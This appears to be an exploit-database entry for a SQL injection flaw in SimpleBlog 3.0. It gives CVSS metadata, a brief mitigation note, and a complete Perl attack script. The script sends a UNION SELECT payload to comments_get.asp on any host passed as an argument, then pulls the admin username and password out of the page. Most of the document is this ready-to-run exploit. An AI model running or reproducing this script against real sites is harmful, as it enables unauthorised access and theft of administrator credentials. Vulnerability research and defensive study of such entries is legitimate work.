SimpleBlog 3.0 Remote SQL Injection

vendor:

SimpleBlog

by:

TrinTiTTY (code), MurderSkillz (vulnerability)

7.5

CVSS

HIGH

Remote SQL Injection

CWE

Product Name: SimpleBlog

Affected Version From: SimpleBlog 3.0

Affected Version To: SimpleBlog 3.0

Patch Exists: No

Related CWE: Not provided

CPE: Not provided

Metasploit:

Other Scripts:

Platforms Tested: Not provided

Not provided

SimpleBlog 3.0 Remote SQL Injection

This exploit allows an attacker to execute SQL commands remotely in SimpleBlog version 3.0. By injecting a specially crafted SQL query, the attacker can retrieve admin credentials from the database.

Mitigation:

Apply the latest patch or update to a version that is not vulnerable. Secure input validation and parameterized queries can also help prevent SQL injection attacks.

Source

Exploit-DB raw data:

#!/usr/bin/perl

#++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++#
#              SimpleBlog 3.0 [ comments_get.asp ]               #
#                    ] Remote SQL Injection [                    #
#                                                                #
#              [c]ode by TrinTiTTY [at] g00ns.net                #
#                 Vulnerability by MurderSkillz                  #
#                                                                #
#      shoutz: z3r0, kat, str0ke, rezen, fish, wicked, clorox,   #
#              Canuck, a59, sess, bernard, + the rest of g00ns   #
#  [irc.g00ns.net]       [www.g00ns.net]        [ts.g00ns.net]   #
#++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++#

use LWP::UserAgent;

$host = @ARGV[0];
$ua = LWP::UserAgent->new;

my $inject ='comments_get.asp?id=-99%20union%20all%20select%201,2,uUSERNAME,4,uPASSWORD,6,7,8,9%20from%20T_USERS';

if (@ARGV < 1){&top( );&usage( )}
elsif ($host =~ /http:\/\//){print"\n\n [-] Don't use http:// in host\n";exit( 0 );}
else { &xpl( ) }
sub xpl( ) {
  &top( );
  print "\n [~] Connecting\n";
  $res = $ua->get("http://$host/$inject");

  $con = $res->content;
  print "\n [~] Checking for admin info\n";
  if ($con =~ /<strong>([-_+.\w]{1,15})<\/strong>/gmi)
  {
     print "\n\t [+] Admin user: $1\n";
  }
  if ($con =~ /<a href\=\"http:\/\/(.*)\" target\=\"\_blank\">(.*)<\/a>/gmi)
  {
     print "\n\t [+] Admin password: $2\n";
     print "\n [+] Complete\n";
  }
  else {
      print "\n [-] Unable to retrieve admin info\n";
      exit(0);
  }
}
sub top( )
{
  print q {
  ##################################################################
  #             SimpleBlog 3.0  [ comments_get.asp ]               #
  #                    ] Remote SQL Injection [                    #
  #                                                                #
  #                [c]ode by TrinTiTTY [at] g00ns.net              #
  #                   Vulnerability by MurderSkillz                #
  ##################################################################
  }
}
sub usage( )
{
  print "\n Usage: perl simpleblog3.pl <host>\n";
  print "\n Example: perl simpleblog3.pl www.example.com/path\n\n";
  exit(0);
}

# milw0rm.com [2007-07-28]